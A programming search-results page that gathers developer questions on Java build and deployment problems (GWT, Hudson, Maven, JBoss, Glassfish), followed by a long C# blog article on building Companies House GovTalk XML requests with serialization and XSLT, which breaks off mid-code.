Search Results

Search found 1050 results on 42 pages for 'war chester shire sauce'.

Page 11/42 | < Previous Page | 7 8 9 10 11 12 13 14 15 16 17 18  | Next Page >

  • Classloader issue (GWT)

    - by Banang
    I'm currently working on a gwt app, where the server uses a few third party libs. recently I discovered that one of these libs isn't being properly loaded when running my app in deployed mode, and I just can't seem to figure out what out is I'm doing wrong. In my build script I have the following classpath declaration: <path id="project.class.path"> <pathelement location="${war.dir}/WEB-INF/classes"/> <fileset dir="${war.dir}/WEB-INF/lib" includes="**/*.jar"/> </path> and in a later target I copy the jar I need to the right location: <copy todir="${war.dir}/WEB-INF/lib" file="someJar.jar" /> The project builds as it should, without any errors. The jars are copied to where the should be, and are included in the resulting war file. In development mode everything is working as it should, everything gets loaded properly and I hear no complaints. However, in the deployed version I get this thrown at me: java.lang.NoClassDefFoundError: org/apache/commons/lang/exception/NestableRuntimeException java.lang.ClassLoader.defineClass1(Native Method) java.lang.ClassLoader.defineClass(ClassLoader.java:621) java.security.SecureClassLoader.defineClass(SecureClassLoader.java:124) org.apache.catalina.loader.WebappClassLoader.findClassInternal(WebappClassLoader.java:2331) org.apache.catalina.loader.WebappClassLoader.findClass(WebappClassLoader.java:976) org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1451) org.apache.catalina.loader.WebappClassLoader.loadClass(WebappClassLoader.java:1329) java.lang.ClassLoader.loadClassInternal(ClassLoader.java:320) my.package.server.util.SomeUtils.doSomethingFantastic(SomeUtils.java:84) Line 84 in SomeUtils is trying to instantiate a class from someJar.jar. I know very little about how the class loader for gwt works, and I sure could use a hand. Anyone got any ideas on how to solve this?

    Read the article

  • tried to update hudson via dashboard and now it doesn;t work (windows)

    - by Tim
    I get the following now in the output log. I really wish I hadn't attempted to update teh version. What a hassle. Can anyone diagnose the issue here? Running from: C:\hudson\hudson.war [Winstone 2010/06/14 23:33:54] - Beginning extraction from war file hudson home directory: C:\hudson [Winstone 2010/06/14 23:33:56] - Error during HTTP listener init or shutdown java.net.SocketException: Unrecognized Windows Sockets error: 0: JVM_Bind at java.net.PlainSocketImpl.socketBind(Native Method) at java.net.PlainSocketImpl.bind(Unknown Source) at java.net.ServerSocket.bind(Unknown Source) at java.net.ServerSocket.(Unknown Source) at java.net.ServerSocket.(Unknown Source) at winstone.HttpListener.getServerSocket(HttpListener.java:102) at winstone.HttpListener.run(HttpListener.java:116) at java.lang.Thread.run(Unknown Source) [Winstone 2010/06/14 23:33:56] - HTTP Listener shutdown successfully [Winstone 2010/06/14 23:33:56] - Winstone Servlet Engine v0.9.10 running: controlPort=disabled [Winstone 2010/06/14 23:33:56] - Error during AJP13 listener init or shutdown java.net.SocketException: Unrecognized Windows Sockets error: 0: JVM_Bind at java.net.PlainSocketImpl.socketBind(Native Method) at java.net.PlainSocketImpl.bind(Unknown Source) at java.net.ServerSocket.bind(Unknown Source) at java.net.ServerSocket.(Unknown Source) at java.net.ServerSocket.(Unknown Source) at winstone.ajp13.Ajp13Listener.run(Ajp13Listener.java:99) at java.lang.Thread.run(Unknown Source) [Winstone 2010/06/14 23:33:56] - AJP13 Listener shutdown successfully Running from: C:\hudson\hudson.war [Winstone 2010/06/14 23:38:49] - Beginning extraction from war file hudson home directory: C:\hudson [Winstone 2010/06/14 23:38:51] - Winstone Servlet Engine v0.9.10 running: controlPort=disabled [Winstone 2010/06/14 23:38:51] - Error during AJP13 listener init or shutdown java.net.SocketException: Unrecognized Windows Sockets error: 0: JVM_Bind at java.net.PlainSocketImpl.socketBind(Native Method) at java.net.PlainSocketImpl.bind(Unknown Source) at java.net.ServerSocket.bind(Unknown Source) at java.net.ServerSocket.(Unknown Source) at java.net.ServerSocket.(Unknown Source) at winstone.ajp13.Ajp13Listener.run(Ajp13Listener.java:99) at java.lang.Thread.run(Unknown Source) [Winstone 2010/06/14 23:38:51] - AJP13 Listener shutdown successfully [Winstone 2010/06/14 23:38:51] - Error during HTTP listener init or shutdown java.net.SocketException: Unrecognized Windows Sockets error: 0: JVM_Bind at java.net.PlainSocketImpl.socketBind(Native Method) at java.net.PlainSocketImpl.bind(Unknown Source) at java.net.ServerSocket.bind(Unknown Source) at java.net.ServerSocket.(Unknown Source) at java.net.ServerSocket.(Unknown Source) at winstone.HttpListener.getServerSocket(HttpListener.java:102) at winstone.HttpListener.run(HttpListener.java:116) at java.lang.Thread.run(Unknown Source) [Winstone 2010/06/14 23:38:51] - HTTP Listener shutdown successfully

    Read the article

  • Multi-module maven build : different result from parent and from module

    - by Albaku
    I am migrating an application from ant build to maven 3 build. This app is composed by : A parent project specifying all the modules to build A project generating classes with jaxb and building a jar with them A project building an ejb project 3 projects building war modules 1 project building an ear Here is an extract from my parent pom : <groupId>com.test</groupId> <artifactId>P</artifactId> <packaging>pom</packaging> <version>04.01.00</version> <modules> <module>../PValidationJaxb</module> <-- jar <module>../PValidation</module> <-- ejb <module>../PImport</module> <-- war <module>../PTerminal</module> <-- war <module>../PWebService</module> <-- war <module>../PEAR</module> <-- ear </modules> I have several problems which I think have the same origin, probably a dependency management issue that I cannot figure out : The generated modules are different depending on if I build from the parent pom or a single module. Typically if I build PImport only, the generated war is similar to what I had with my ant build and if I build from the parent pom, my war took 20MB, a lot of dependencies from other modules had been added. Both wars are running well. My project PWebService has unit tests to be executed during the build. It is using mock-ejb which has cglib as dependency. Having a problem of ClassNotFound with this one, I had to exclude it and add a dependency to cglib-nodep (see last pom extract). If I then build only this module, it is working well. But if I build from the parent project, it fails because other dependencies in other modules also had an implicit dependency on cglib. I had to exclude it in every modules pom and add the dependency to cglib-nodep everywhere to make it run. Do I miss something important in my configuration ? The PValidation pom extract : It is creating a jar containing an ejb with interfaces generated by xdoclet, as well as a client jar. <parent> <groupId>com.test</groupId> <artifactId>P</artifactId> <version>04.01.00</version> </parent> <artifactId>P-validation</artifactId> <packaging>ejb</packaging> <dependencies> <dependency> <groupId>com.test</groupId> <artifactId>P-jaxb</artifactId> <version>${project.version}</version> </dependency> <dependency> <groupId>org.hibernate</groupId> <artifactId>hibernate</artifactId> <version>3.2.5.ga</version> <exclusions> <exclusion> <groupId>cglib</groupId> <artifactId>cglib</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>cglib</groupId> <artifactId>cglib-nodep</artifactId> <version>2.2.2</version> </dependency> ... [other libs] ... </dependencies> <build> ... <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-ejb-plugin</artifactId> <configuration> <ejbVersion>2.0</ejbVersion> <generateClient>true</generateClient> </configuration> </plugin> <plugin> <groupId>org.codehaus.mojo</groupId> <artifactId>xdoclet-maven-plugin</artifactId> ... The PImport pom extract : It depends on both Jaxb generated jar and the ejb client jar. <parent> <groupId>com.test</groupId> <artifactId>P</artifactId> <version>04.01.00</version> </parent> <artifactId>P-import</artifactId> <packaging>war</packaging> <dependencies> <dependency> <groupId>com.test</groupId> <artifactId>P-jaxb</artifactId> <version>${project.version}</version> </dependency> <dependency> <groupId>com.test</groupId> <artifactId>P-validation</artifactId> <version>${project.version}</version> <type>ejb-client</type> </dependency> ... [other libs] ... </dependencies> The PWebService pom extract : <parent> <groupId>com.test</groupId> <artifactId>P</artifactId> <version>04.01.00</version> </parent> <artifactId>P-webservice</artifactId> <packaging>war</packaging> <properties> <jersey.version>1.14</jersey.version> </properties> <dependencies> <dependency> <groupId>com.sun.jersey</groupId> <artifactId>jersey-servlet</artifactId> <version>${jersey.version}</version> </dependency> <dependency> <groupId>com.rte.etso</groupId> <artifactId>etso-validation</artifactId> <version>${project.version}</version> <type>ejb-client</type> </dependency> ... [other libs] ... <dependency> <groupId>org.mockejb</groupId> <artifactId>mockejb</artifactId> <version>0.6-beta2</version> <scope>test</scope> <exclusions> <exclusion> <groupId>cglib</groupId> <artifactId>cglib-full</artifactId> </exclusion> </exclusions> </dependency> <dependency> <groupId>cglib</groupId> <artifactId>cglib-nodep</artifactId> <version>2.2.2</version> <scope>test</scope> </dependency> </dependencies> Many thanks

    Read the article

  • How can I create global context variables in JBOSS?

    - by NobodyMan
    This is a follow-up to a question I posted a while back: "Can I use a single WAR in multiple environments?". I was able to create a single-war solution in Tomcat, but now we are migrating our app to JBoss 4.2 and I can't figure out how to set up global environment variables. In Tomcat 6 this was pretty straightforward: I simply put the following snippet in tomcat/conf/Catalina/myappname.xml: <Context ...> <Environment name="TARGET_ENV" value="DEV" type="java.lang.String" override="false"/> </Context> Then in my app I was able to resolve the environment name with the following: Context context = (Context) InitialContext().lookup("java:comp/env"); String targetEnvironment = (String) context.lookup("TARGET_ENV"); The problem is that I can't find out where/how to place global variables in JBoss. I've tried putting the <Environment> tag in the following files to no avail: server/all/deploy/jboss-web.deployer/context.xml server/default/deploy/jboss-web.deployer/context.xml I know that I can put environment variables in my app's web.xml but that defeats the purpose of having a unified war - I'd still need custom .war's for dev, qa and prod. I'm a JBoss newbie so if there's any additional information that would help just let me know and I'll append to this question. Many thanks! --N

    Read the article

  • Maven 3 plugin - How to programatically exclude a dependency and all its transitive dependencies?

    - by electrotype
    I'm developing a Maven 3 plugin and I want to exclude some dependencies, and their transitive dependencies, when a configuration is set to true in the plugin. I don't want to use <exclusions> in the POM itself, even in a profile. I want to exclude those dependencies programatically. In fact, what I want is to prevent the dependency jars to be included in the final war (I'm building a war), when a plugin configuration is set to true. I tried : @Mojo(requiresDependencyResolution=ResolutionScope.COMPILE, name="compileHook",defaultPhase=LifecyclePhase.COMPILE) public class compileHook extends AbstractMojo { @Override public void execute() throws MojoExecutionException, MojoFailureException { // ... Set<Artifact> artifacts = this.project.getArtifacts(); for(Artifact artifact : artifacts) { if("org.package.to.remove".equalsIgnoreCase(artifact.getGroupId())) { artifact.setScope("provided"); } } // ... } } Since this occures at the compile phase, it will indeed remove the artifacts with a group id "org.package.to.remove" from having their jars included in the war when packaged. But this doesn't remove the transitive artifacts those dependencies add! What is the best way to programatically remove some dependencies, and their transitive dependencies, from being included in a final .jar/.war?

    Read the article

  • How can I serve static content with Glassfish embedded?

    - by Andy Fiedler
    I'm trying to setup Glassfish embedded with a WAR project that implements a REST API and then some static Javascript content that calls it. I got the WAR to deploy and the REST API is available with a context root of "/Users". How can I use Glassfish to serve static content with a context root of "/". So for example, if the user requests http://myserver.com/Users/some-REST-call it routes to the WAR application and http://myserver.com/somefile.js serves a static file from some directory? Here's my Main class file so far: public class Main{ public static void main(String[] args) throws Exception { String port = System.getenv("PORT"); port = port != null ? port : "8080"; GlassFishProperties gfProps = new GlassFishProperties(); gfProps.setPort("http-listener", Integer.parseInt(port)); GlassFish glassfish = GlassFishRuntime.bootstrap().newGlassFish(gfProps); glassfish.start(); Deployer deployer = glassfish.getDeployer(); deployer.deploy(new File("target/Users-Rest.war")); } } Thanks a ton for your help!

    Read the article

  • Building a better mouse-trap &ndash; Improving the creation of XML Message Requests using Reflection, XML &amp; XSLT

    - by paulschapman
    Introduction The way I previously created messages to send to the GovTalk service I used the XMLDocument to create the request. While this worked it left a number of problems; not least that for every message a special function would need to created. This is OK for the short term but the biggest cost in any software project is maintenance and this would be a headache to maintain. So the following is a somewhat better way of achieving the same thing. For the purposes of this article I am going to be using the CompanyNumberSearch request of the GovTalk service – although this technique would work for any service that accepted XML. The C# functions which send and receive the messages remain the same. The magic sauce in this is the XSLT which defines the structure of the request, and the use of objects in conjunction with reflection to provide the content. It is a bit like Sweet Chilli Sauce added to Chicken on a bed of rice. So on to the Sweet Chilli Sauce The Sweet Chilli Sauce The request to search for a company based on it’s number is as follows; <GovTalkMessage xsi:schemaLocation="http://www.govtalk.gov.uk/CM/envelope http://xmlgw.companieshouse.gov.uk/v1-0/schema/Egov_ch-v2-0.xsd" xmlns="http://www.govtalk.gov.uk/CM/envelope" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:gt="http://www.govtalk.gov.uk/schemas/govtalk/core" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" > <EnvelopeVersion>1.0</EnvelopeVersion> <Header> <MessageDetails> <Class>NumberSearch</Class> <Qualifier>request</Qualifier> <TransactionID>1</TransactionID> </MessageDetails> <SenderDetails> <IDAuthentication> <SenderID>????????????????????????????????</SenderID> <Authentication> <Method>CHMD5</Method> <Value>????????????????????????????????</Value> </Authentication> </IDAuthentication> </SenderDetails> </Header> <GovTalkDetails> <Keys/> </GovTalkDetails> <Body> <NumberSearchRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://xmlgw.companieshouse.gov.uk/v1-0/schema/NumberSearch.xsd"> <PartialCompanyNumber>99999999</PartialCompanyNumber> <DataSet>LIVE</DataSet> <SearchRows>1</SearchRows> </NumberSearchRequest> </Body> </GovTalkMessage> This is the XML that we send to the GovTalk Service and we get back a list of companies that match the criteria passed A message is structured in two parts; The envelope which identifies the person sending the request, with the name of the request, and the body which gives the detail of the company we are looking for. The Chilli What makes it possible is the use of XSLT to define the message – and serialization to convert each request object into XML. To start we need to create an object which will represent the contents of the message we are sending. However there is a common properties in all the messages that we send to Companies House. These properties are as follows SenderId – the id of the person sending the message SenderPassword – the password associated with Id TransactionId – Unique identifier for the message AuthenticationValue – authenticates the request Because these properties are unique to the Companies House message, and because they are shared with all messages they are perfect candidates for a base class. The class is as follows; using System; using System.Collections.Generic; using System.Linq; using System.Web; using System.Security.Cryptography; using System.Text; using System.Text.RegularExpressions; using Microsoft.WindowsAzure.ServiceRuntime; namespace CompanyHub.Services { public class GovTalkRequest { public GovTalkRequest() { try { SenderID = RoleEnvironment.GetConfigurationSettingValue("SenderId"); SenderPassword = RoleEnvironment.GetConfigurationSettingValue("SenderPassword"); TransactionId = DateTime.Now.Ticks.ToString(); AuthenticationValue = EncodePassword(String.Format("{0}{1}{2}", SenderID, SenderPassword, TransactionId)); } catch (System.Exception ex) { throw ex; } } /// <summary> /// returns the Sender ID to be used when communicating with the GovTalk Service /// </summary> public String SenderID { get; set; } /// <summary> /// return the password to be used when communicating with the GovTalk Service /// </summary> public String SenderPassword { get; set; } // end SenderPassword /// <summary> /// Transaction Id - uses the Time and Date converted to Ticks /// </summary> public String TransactionId { get; set; } // end TransactionId /// <summary> /// calculate the authentication value that will be used when /// communicating with /// </summary> public String AuthenticationValue { get; set; } // end AuthenticationValue property /// <summary> /// encodes password(s) using MD5 /// </summary> /// <param name="clearPassword"></param> /// <returns></returns> public static String EncodePassword(String clearPassword) { MD5CryptoServiceProvider md5Hasher = new MD5CryptoServiceProvider(); byte[] hashedBytes; UTF32Encoding encoder = new UTF32Encoding(); hashedBytes = md5Hasher.ComputeHash(ASCIIEncoding.Default.GetBytes(clearPassword)); String result = Regex.Replace(BitConverter.ToString(hashedBytes), "-", "").ToLower(); return result; } } } There is nothing particularly clever here, except for the EncodePassword method which hashes the value made up of the SenderId, Password and Transaction id. Each message inherits from this object. So for the Company Number Search in addition to the properties above we need a partial number, which dataset to search – for the purposes of the project we only need to search the LIVE set so this can be set in the constructor and the SearchRows. Again all are set as properties. With the SearchRows and DataSet initialized in the constructor. public class CompanyNumberSearchRequest : GovTalkRequest, IDisposable { /// <summary> /// /// </summary> public CompanyNumberSearchRequest() : base() { DataSet = "LIVE"; SearchRows = 1; } /// <summary> /// Company Number to search against /// </summary> public String PartialCompanyNumber { get; set; } /// <summary> /// What DataSet should be searched for the company /// </summary> public String DataSet { get; set; } /// <summary> /// How many rows should be returned /// </summary> public int SearchRows { get; set; } public void Dispose() { DataSet = String.Empty; PartialCompanyNumber = String.Empty; DataSet = "LIVE"; SearchRows = 1; } } As well as inheriting from our base class, I have also inherited from IDisposable – not just because it is just plain good practice to dispose of objects when coding, but it gives also gives us more versatility when using the object. There are four stages in making a request and this is reflected in the four methods we execute in making a call to the Companies House service; Create a request Send a request Check the status If OK then get the results of the request I’ve implemented each of these stages within a static class called Toolbox – which also means I don’t need to create an instance of the class to use it. When making a request there are three stages; Get the template for the message Serialize the object representing the message Transform the serialized object using a predefined XSLT file. Each of my templates I have defined as an embedded resource. When retrieving a resource of this kind we have to include the full namespace to the resource. In making the code re-usable as much as possible I defined the full ‘path’ within the GetRequest method. requestFile = String.Format("CompanyHub.Services.Schemas.{0}", RequestFile); So we now have the full path of the file within the assembly. Now all we need do is retrieve the assembly and get the resource. asm = Assembly.GetExecutingAssembly(); sr = asm.GetManifestResourceStream(requestFile); Once retrieved  So this can be returned to the calling function and we now have a stream of XSLT to define the message. Time now to serialize the request to create the other side of this message. // Serialize object containing Request, Load into XML Document t = Obj.GetType(); ms = new MemoryStream(); serializer = new XmlSerializer(t); xmlTextWriter = new XmlTextWriter(ms, Encoding.ASCII); serializer.Serialize(xmlTextWriter, Obj); ms = (MemoryStream)xmlTextWriter.BaseStream; GovTalkRequest = Toolbox.ConvertByteArrayToString(ms.ToArray()); First off we need the type of the object so we make a call to the GetType method of the object containing the Message properties. Next we need a MemoryStream, XmlSerializer and an XMLTextWriter so these can be initialized. The object is serialized by making the call to the Serialize method of the serializer object. The result of that is then converted into a MemoryStream. That MemoryStream is then converted into a string. ConvertByteArrayToString This is a fairly simple function which uses an ASCIIEncoding object found within the System.Text namespace to convert an array of bytes into a string. public static String ConvertByteArrayToString(byte[] bytes) { System.Text.ASCIIEncoding enc = new System.Text.ASCIIEncoding(); return enc.GetString(bytes); } I only put it into a function because I will be using this in various places. The Sauce When adding support for other messages outside of creating a new object to store the properties of the message, the C# components do not need to change. It is in the XSLT file that the versatility of the technique lies. The XSLT file determines the format of the message. For the CompanyNumberSearch the XSLT file is as follows; <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <GovTalkMessage xsi:schemaLocation="http://www.govtalk.gov.uk/CM/envelope http://xmlgw.companieshouse.gov.uk/v1-0/schema/Egov_ch-v2-0.xsd" xmlns="http://www.govtalk.gov.uk/CM/envelope" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:gt="http://www.govtalk.gov.uk/schemas/govtalk/core" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" > <EnvelopeVersion>1.0</EnvelopeVersion> <Header> <MessageDetails> <Class>NumberSearch</Class> <Qualifier>request</Qualifier> <TransactionID> <xsl:value-of select="CompanyNumberSearchRequest/TransactionId"/> </TransactionID> </MessageDetails> <SenderDetails> <IDAuthentication> <SenderID><xsl:value-of select="CompanyNumberSearchRequest/SenderID"/></SenderID> <Authentication> <Method>CHMD5</Method> <Value> <xsl:value-of select="CompanyNumberSearchRequest/AuthenticationValue"/> </Value> </Authentication> </IDAuthentication> </SenderDetails> </Header> <GovTalkDetails> <Keys/> </GovTalkDetails> <Body> <NumberSearchRequest xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="http://xmlgw.companieshouse.gov.uk/v1-0/schema/NumberSearch.xsd"> <PartialCompanyNumber> <xsl:value-of select="CompanyNumberSearchRequest/PartialCompanyNumber"/> </PartialCompanyNumber> <DataSet> <xsl:value-of select="CompanyNumberSearchRequest/DataSet"/> </DataSet> <SearchRows> <xsl:value-of select="CompanyNumberSearchRequest/SearchRows"/> </SearchRows> </NumberSearchRequest> </Body> </GovTalkMessage> </xsl:template> </xsl:stylesheet> The outer two tags define that this is a XSLT stylesheet and the root tag from which the nodes are searched for. The GovTalkMessage is the format of the message that will be sent to Companies House. We first set up the XslCompiledTransform object which will transform the XSLT template and the serialized object into the request to Companies House. xslt = new XslCompiledTransform(); resultStream = new MemoryStream(); writer = new XmlTextWriter(resultStream, Encoding.ASCII); doc = new XmlDocument(); The Serialize method require XmlTextWriter to write the XML (writer) and a stream to place the transferred object into (writer). The XML will be loaded into an XMLDocument object (doc) prior to the transformation. // create XSLT Template xslTemplate = Toolbox.GetRequest(Template); xslTemplate.Seek(0, SeekOrigin.Begin); templateReader = XmlReader.Create(xslTemplate); xslt.Load(templateReader); I have stored all the templates as a series of Embedded Resources and the GetRequestCall takes the name of the template and extracts the relevent XSLT file. /// <summary> /// Gets the framwork XML which makes the request /// </summary> /// <param name="RequestFile"></param> /// <returns></returns> public static Stream GetRequest(String RequestFile) { String requestFile = String.Empty; Stream sr = null; Assembly asm = null; try { requestFile = String.Format("CompanyHub.Services.Schemas.{0}", RequestFile); asm = Assembly.GetExecutingAssembly(); sr = asm.GetManifestResourceStream(requestFile); } catch (Exception) { throw; } finally { asm = null; } return sr; } // end private static stream GetRequest We first take the template name and expand it to include the full namespace to the Embedded Resource I like to keep all my schemas in the same directory and so the namespace reflects this. The rest is the default namespace for the project. Then we get the currently executing assembly (which will contain the resources with the call to GetExecutingAssembly() ) Finally we get a stream which contains the XSLT file. We use this stream and then load an XmlReader with the contents of the template, and that is in turn loaded into the XslCompiledTransform object. We convert the object containing the message properties into Xml by serializing it; calling the Serialize() method of the XmlSerializer object. To set up the object we do the following; t = Obj.GetType(); ms = new MemoryStream(); serializer = new XmlSerializer(t); xmlTextWriter = new XmlTextWriter(ms, Encoding.ASCII); We first determine the type of the object being transferred by calling GetType() We create an XmlSerializer object by passing the type of the object being serialized. The serializer writes to a memory stream and that is linked to an XmlTextWriter. Next job is to serialize the object and load it into an XmlDocument. serializer.Serialize(xmlTextWriter, Obj); ms = (MemoryStream)xmlTextWriter.BaseStream; xmlRequest = new XmlTextReader(ms); GovTalkRequest = Toolbox.ConvertByteArrayToString(ms.ToArray()); doc.LoadXml(GovTalkRequest); Time to transform the XML to construct the full request. xslt.Transform(doc, writer); resultStream.Seek(0, SeekOrigin.Begin); request = Toolbox.ConvertByteArrayToString(resultStream.ToArray()); So that creates the full request to be sent  to Companies House. Sending the request So far we have a string with a request for the Companies House service. Now we need to send the request to the Companies House Service. Configuration within an Azure project There are entire blog entries written about configuration within an Azure project – most of this is out of scope for this article but the following is a summary. Configuration is defined in two files within the parent project *.csdef which contains the definition of configuration setting. <?xml version="1.0" encoding="utf-8"?> <ServiceDefinition name="OnlineCompanyHub" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceDefinition"> <WebRole name="CompanyHub.Host"> <InputEndpoints> <InputEndpoint name="HttpIn" protocol="http" port="80" /> </InputEndpoints> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" /> <Setting name="DataConnectionString" /> </ConfigurationSettings> </WebRole> <WebRole name="CompanyHub.Services"> <InputEndpoints> <InputEndpoint name="HttpIn" protocol="http" port="8080" /> </InputEndpoints> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" /> <Setting name="SenderId"/> <Setting name="SenderPassword" /> <Setting name="GovTalkUrl"/> </ConfigurationSettings> </WebRole> <WorkerRole name="CompanyHub.Worker"> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" /> </ConfigurationSettings> </WorkerRole> </ServiceDefinition>   Above is the configuration definition from the project. What we are interested in however is the ConfigurationSettings tag of the CompanyHub.Services WebRole. There are four configuration settings here, but at the moment we are interested in the second to forth settings; SenderId, SenderPassword and GovTalkUrl The value of these settings are defined in the ServiceDefinition.cscfg file; <?xml version="1.0"?> <ServiceConfiguration serviceName="OnlineCompanyHub" xmlns="http://schemas.microsoft.com/ServiceHosting/2008/10/ServiceConfiguration"> <Role name="CompanyHub.Host"> <Instances count="2" /> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" value="UseDevelopmentStorage=true" /> <Setting name="DataConnectionString" value="UseDevelopmentStorage=true" /> </ConfigurationSettings> </Role> <Role name="CompanyHub.Services"> <Instances count="2" /> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" value="UseDevelopmentStorage=true" /> <Setting name="SenderId" value="UserID"/> <Setting name="SenderPassword" value="Password"/> <Setting name="GovTalkUrl" value="http://xmlgw.companieshouse.gov.uk/v1-0/xmlgw/Gateway"/> </ConfigurationSettings> </Role> <Role name="CompanyHub.Worker"> <Instances count="2" /> <ConfigurationSettings> <Setting name="DiagnosticsConnectionString" value="UseDevelopmentStorage=true" /> </ConfigurationSettings> </Role> </ServiceConfiguration>   Look for the Role tag that contains our project name (CompanyHub.Services). Having configured the parameters we can now transmit the request. This is done by ‘POST’ing a stream of XML to the Companies House servers. govTalkUrl = RoleEnvironment.GetConfigurationSettingValue("GovTalkUrl"); request = WebRequest.Create(govTalkUrl); request.Method = "POST"; request.ContentType = "text/xml"; writer = new StreamWriter(request.GetRequestStream()); writer.WriteLine(RequestMessage); writer.Close(); We use the WebRequest object to send the object. Set the method of sending to ‘POST’ and the type of data as text/xml. Once set up all we do is write the request to the writer – this sends the request to Companies House. Did the Request Work Part I – Getting the response Having sent a request – we now need the result of that request. response = request.GetResponse(); reader = response.GetResponseStream(); result = Toolbox.ConvertByteArrayToString(Toolbox.ReadFully(reader));   The WebRequest object has a GetResponse() method which allows us to get the response sent back. Like many of these calls the results come in the form of a stream which we convert into a string. Did the Request Work Part II – Translating the Response Much like XSLT and XML were used to create the original request, so it can be used to extract the response and by deserializing the result we create an object that contains the response. Did it work? It would be really great if everything worked all the time. Of course if it did then I don’t suppose people would pay me and others the big bucks so that our programmes do not a) Collapse in a heap (this is an area of memory) b) Blow every fuse in the place in a shower of sparks (this will probably not happen this being real life and not a Hollywood movie, but it was possible to blow the sound system of a BBC Model B with a poorly coded setting) c) Go nuts and trap everyone outside the airlock (this was from a movie, and unless NASA get a manned moon/mars mission set up unlikely to happen) d) Go nuts and take over the world (this was also from a movie, but please note life has a habit of being of exceeding the wildest imaginations of Hollywood writers (note writers – Hollywood executives have no imagination and judging by recent output of that town have turned plagiarism into an art form). e) Freeze in total confusion because the cleaner pulled the plug to the internet router (this has happened) So anyway – we need to check to see if our request actually worked. Within the GovTalk response there is a section that details the status of the message and a description of what went wrong (if anything did). I have defined an XSLT template which will extract these into an XML document. <?xml version="1.0"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ev="http://www.govtalk.gov.uk/CM/envelope" xmlns:gt="http://www.govtalk.gov.uk/schemas/govtalk/core" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"> <xsl:template match="/"> <GovTalkStatus xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <Status> <xsl:value-of select="ev:GovTalkMessage/ev:Header/ev:MessageDetails/ev:Qualifier"/> </Status> <Text> <xsl:value-of select="ev:GovTalkMessage/ev:GovTalkDetails/ev:GovTalkErrors/ev:Error/ev:Text"/> </Text> <Location> <xsl:value-of select="ev:GovTalkMessage/ev:GovTalkDetails/ev:GovTalkErrors/ev:Error/ev:Location"/> </Location> <Number> <xsl:value-of select="ev:GovTalkMessage/ev:GovTalkDetails/ev:GovTalkErrors/ev:Error/ev:Number"/> </Number> <Type> <xsl:value-of select="ev:GovTalkMessage/ev:GovTalkDetails/ev:GovTalkErrors/ev:Error/ev:Type"/> </Type> </GovTalkStatus> </xsl:template> </xsl:stylesheet>   Only thing different about previous XSL files is the references to two namespaces ev & gt. These are defined in the GovTalk response at the top of the response; xsi:schemaLocation="http://www.govtalk.gov.uk/CM/envelope http://xmlgw.companieshouse.gov.uk/v1-0/schema/Egov_ch-v2-0.xsd" xmlns="http://www.govtalk.gov.uk/CM/envelope" xmlns:dsig="http://www.w3.org/2000/09/xmldsig#" xmlns:gt="http://www.govtalk.gov.uk/schemas/govtalk/core" If we do not put these references into the XSLT template then  the XslCompiledTransform object will not be able to find the relevant tags. Deserialization is a fairly simple activity. encoder = new ASCIIEncoding(); ms = new MemoryStream(encoder.GetBytes(statusXML)); serializer = new XmlSerializer(typeof(GovTalkStatus)); xmlTextWriter = new XmlTextWriter(ms, Encoding.ASCII); messageStatus = (GovTalkStatus)serializer.Deserialize(ms);   We set up a serialization object using the object type containing the error state and pass to it the results of a transformation between the XSLT above and the GovTalk response. Now we have an object containing any error state, and the error message. All we need to do is check the status. If there is an error then we can flag an error. If not then  we extract the results and pass that as an object back to the calling function. We go this by guess what – defining an XSLT template for the result and using that to create an Xml Stream which can be deserialized into a .Net object. In this instance the XSLT to create the result of a Company Number Search is; <?xml version="1.0" encoding="us-ascii"?> <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:ev="http://www.govtalk.gov.uk/CM/envelope" xmlns:sch="http://xmlgw.companieshouse.gov.uk/v1-0/schema" exclude-result-prefixes="ev"> <xsl:template match="/"> <CompanySearchResult xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"> <CompanyNumber> <xsl:value-of select="ev:GovTalkMessage/ev:Body/sch:NumberSearch/sch:CoSearchItem/sch:CompanyNumber"/> </CompanyNumber> <CompanyName> <xsl:value-of select="ev:GovTalkMessage/ev:Body/sch:NumberSearch/sch:CoSearchItem/sch:CompanyName"/> </CompanyName> </CompanySearchResult> </xsl:template> </xsl:stylesheet> and the object definition is; using System; using System.Collections.Generic; using System.Linq; using System.Web; namespace CompanyHub.Services { public class CompanySearchResult { public CompanySearchResult() { CompanyNumber = String.Empty; CompanyName = String.Empty; } public String CompanyNumber { get; set; } public String CompanyName { get; set; } } } Our entire code to make calls to send a request, and interpret the results are; String request = String.Empty; String response = String.Empty; GovTalkStatus status = null; fault = null; try { using (CompanyNumberSearchRequest requestObj = new CompanyNumberSearchRequest()) { requestObj.PartialCompanyNumber = CompanyNumber; request = Toolbox.CreateRequest(requestObj, "CompanyNumberSearch.xsl"); response = Toolbox.SendGovTalkRequest(request); status = Toolbox.GetMessageStatus(response); if (status.Status.ToLower() == "error") { fault = new HubFault() { Message = status.Text }; } else { Object obj = Toolbox.GetGovTalkResponse(response, "CompanyNumberSearchResult.xsl", typeof(CompanySearchResult)); } } } catch (FaultException<ArgumentException> ex) { fault = new HubFault() { FaultType = ex.Detail.GetType().FullName, Message = 